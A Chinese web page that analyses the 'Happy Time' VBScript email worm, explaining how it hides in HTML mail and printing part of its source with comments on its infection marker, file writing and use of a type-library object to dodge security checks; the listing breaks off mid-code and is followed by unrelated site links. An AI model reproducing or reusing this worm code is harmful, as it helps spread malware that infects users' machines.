翻新时间：2022-11-14
欢乐时光代码分析
“欢乐时光”其实就是利用了超文本邮件中可以夹带脚本语言的特点而棋高一招的。我们知道，邮件的格式可以有两种：纯文本和超文本。超文本（HTML）功能强大就不用多说了，它可以内嵌数种脚本语言，常见的就是VBScript和JavaScript。“欢乐时光”在超文本中夹带的就是VBS。从源代码中可以看得出来，该作者很可能是长期从事网络编程的高手，他对VBS的认识可谓精通，使用的许多技术细节都鲜为人知，尤其是利用了类型库（TypeLibrary）成功地避开了安全审核的手段更是令人叹为观止。
下面让我们来看看它藏在快乐的外衣下的是什么吧！
***************欢乐时光***************
RemIamsorry!happytime
OnErrorResumeNext
Mload
’以上为病毒入口，并加上Iamsorry!happytime的注释，以表明此文件已被感染过。
Submload()
OnErrorResumeNext
mPath=Grf()
SetOs=CreateObject("Scriptlet.TypeLib")
SetOh=CreateObject("Shell.Application")
’建立枚举对象，避开了安全审核
IfIsHTMLThen
’调用IsHtml函数，如果是Html，就小写……
mURL=LCase(document.Location)
IfmPath=""Then
Os.Reset
Os.Path="C:Help.htm"
Os.Doc=Lhtml()
Os.Write()
’如果mPath为空，就在C盘下生成Help.htm
Ihtml=""
’超文本的内容，并指向C:Help.Htm
Calldocument.Body.insertAdjacentHTML("AfterBegin",Ihtml)
Else
IfIv(mPath,"Help.vbs")Then
setInterval"Rt()",10000
Else
m="hta"
IfLCase(m)=Right(mURL,Len(m))Then
id=setTimeout("mclose()",
1)
’设置超时条件
main
Else
Os.Reset()
Os.Path=mPath
下载文档
网友最新关注
- 战争·痛苦
- 让世界充满爱
- “和平”号
- 未来的桥
- 我很幸福
- 让世界充满爱
- 世界何时“铸剑为犁”
- 亲切的鼾声
- 一条网虫
- 我诅咒战争
- E时代网狗Tommy的自述
- 中学生上网的利弊谈
- 桥
- 让世界充满爱
- 家乡的桥
- 工程测量实习总结
- 某校区行政办公楼、图书馆第一次工地会议
- 榆社县政府西旧大礼堂改造工程 测量放线施工方案
- 房屋建筑和市政基础设施工程施工监理招标投标若干规定
- 试论建筑设计中节能建筑设计的思考
- 测量学课程实习报告
- 画施工图的心得
- 某社区安置房三期工程旁站监理实施细则
- 施工测量放线方案
- 风电设备公司生产车间旁站监理方案
- 竣工资料归档目录
- 居住区工程（高桥）监理工作总结
- 商铺工程监理工作总结
- 工程测量实习心得
- 测量心得
- 《路旁的橡树》 考点练兵1
- 《惊弓之鸟》 整体阅读感知
- 《惊弓之鸟》 重难点分析
- 《路旁的橡树》同步作文 范文习作
- 《惊弓之鸟》同步作文 训练素材
- 《惊弓之鸟》同步作文 写作指导
- 《惊弓之鸟》 作者及作品介绍
- 《惊弓之鸟》 重点问题探究
- 《路旁的橡树》同步作文 写作指导及训练素材
- 《惊弓之鸟》 教学设计1
- 《惊弓之鸟》 知识点精析
- 《路旁的橡树》 考点练兵2
- 《惊弓之鸟》 教学设计2
- 《路旁的橡树》 教案讲义2
- 《惊弓之鸟》 老师语录